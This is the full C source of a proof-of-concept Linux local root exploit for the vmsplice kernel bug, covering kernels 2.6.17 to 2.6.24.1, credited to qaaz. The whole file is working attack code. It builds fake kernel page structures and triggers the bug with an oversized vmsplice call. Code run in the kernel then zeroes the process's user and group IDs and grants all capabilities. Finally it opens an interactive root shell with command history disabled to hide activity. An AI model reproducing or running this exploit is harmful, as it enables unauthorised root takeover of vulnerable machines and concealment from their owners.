*** proof-of-concept.c
/*
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS	16
#define PG_compound	14
#define uint		unsigned int
#define static_inline	static inline __attribute__((always_inline))
#define STACK(x)	(x + sizeof(x) - 40)

struct page {
	unsigned long flags;
	int count;
	int mapcount;
	unsigned long private;
	void *mapping;
	unsigned long index;
	struct { long next, prev; } lru;
};

void	exit_code();
char	exit_stack[1024 * 1024];

void	die(char *msg, int err)
{
	printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
	fflush(stdout);
	fflush(stderr);
	exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	316
#endif

#define USER_CS		0x73
#define USER_SS		0x7b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"movl %0, 0x10(%%esp) ;"
	"movl %1, 0x0c(%%esp) ;"
	"movl %2, 0x08(%%esp) ;"
	"movl %3, 0x04(%%esp) ;"
	"movl %4, 0x00(%%esp) ;"
	"iret"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movl %%esp, %%eax ;"
	"andl %1, %%eax ;"
	"movl (%%eax), %0"
	: "=r" (curr)
	: "i" (~8191)
	);
	return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice	278
#endif

#define USER_CS		0x23
#define USER_SS		0x2b
#define USER_FL		0x246

static_inline
void	exit_kernel()
{
	__asm__ __volatile__ (
	"swapgs ;"
	"movq %0, 0x20(%%rsp) ;"
	"movq %1, 0x18(%%rsp) ;"
	"movq %2, 0x10(%%rsp) ;"
	"movq %3, 0x08(%%rsp) ;"
	"movq %4, 0x00(%%rsp) ;"
	"iretq"
	: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
	    "i" (USER_CS), "r" (exit_code)
	);
}

static_inline
void *	get_current()
{
	unsigned long curr;
	__asm__ __volatile__ (
	"movq %%gs:(0), %0"
	: "=r" (curr)
	);
	return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice	__NR_vmsplice
_syscall4(
	long, _vmsplice,
	int, fd,
	struct iovec *, iov,
	unsigned long, nr_segs,
	unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void	kernel_code()
{
	int	i;
	uint	*p = get_current();

	for (i = 0; i < 1024-13; i++) {
		if (p[0] == uid && p[1] == uid &&
		    p[2] == uid && p[3] == uid &&
		    p[4] == gid && p[5] == gid &&
		    p[6] == gid && p[7] == gid) {
			p[0] = p[1] = p[2] = p[3] = 0;
			p[4] = p[5] = p[6] = p[7] = 0;
			p = (uint *) ((char *)(p + 8) + sizeof(void *));
			p[0] = p[1] = p[2] = ~0;
			break;
		}
		p++;
	}	

	exit_kernel();
}

void	exit_code()
{
	if (getuid() != 0)
		die("wtf", 0);

	printf("[+] root\n");
	putenv("HISTFILE=/dev/null");
	execl("/bin/bash", "bash", "-i", NULL);
	die("/bin/bash", errno);
}

int	main(int argc, char *argv[])
{
	int		pi[2];
	size_t		map_size;
	char *		map_addr;
	struct iovec	iov;
	struct page *	pages[5];

	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);

	printf("-----------------------------------\n");
	printf(" Linux vmsplice Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("-----------------------------------\n");

	if (!uid || !gid)
		die("!@#$", 0);

	/*****/
	pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
	pages[1] = pages[0] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[0]);
	printf("[+] page: 0x%lx\n", pages[1]);

	pages[0]->flags    = 1 << PG_compound;
	pages[0]->private  = (unsigned long) pages[0];
	pages[0]->count    = 1;
	pages[1]->lru.next = (long) kernel_code;

	/*****/
	pages[2] = *(void **) pages[0];
	pages[3] = pages[2] + 1;

	map_size = PAGE_SIZE;
	map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[2]);
	printf("[+] page: 0x%lx\n", pages[3]);

	pages[2]->flags    = 1 << PG_compound;
	pages[2]->private  = (unsigned long) pages[2];
	pages[2]->count    = 1;
	pages[3]->lru.next = (long) kernel_code;

	/*****/
	pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
	map_size = PAGE_SIZE;
	map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
	                MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);
	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
	printf("[+] page: 0x%lx\n", pages[4]);

	/*****/
	map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
	map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
	                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (map_addr == MAP_FAILED)
		die("mmap", errno);

	memset(map_addr, 0, map_size);
	printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

	/*****/
	map_size -= 2 * PAGE_SIZE;
	if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
		die("munmap", errno);

	/*****/
	if (pipe(pi) < 0) die("pipe", errno);
	close(pi[0]);

	iov.iov_base = map_addr;
	iov.iov_len  = ULONG_MAX;

	signal(SIGPIPE, exit_code);
	_vmsplice(pi[1], &iov, 1, 0);
	die("vmsplice", errno);
	return 0;
}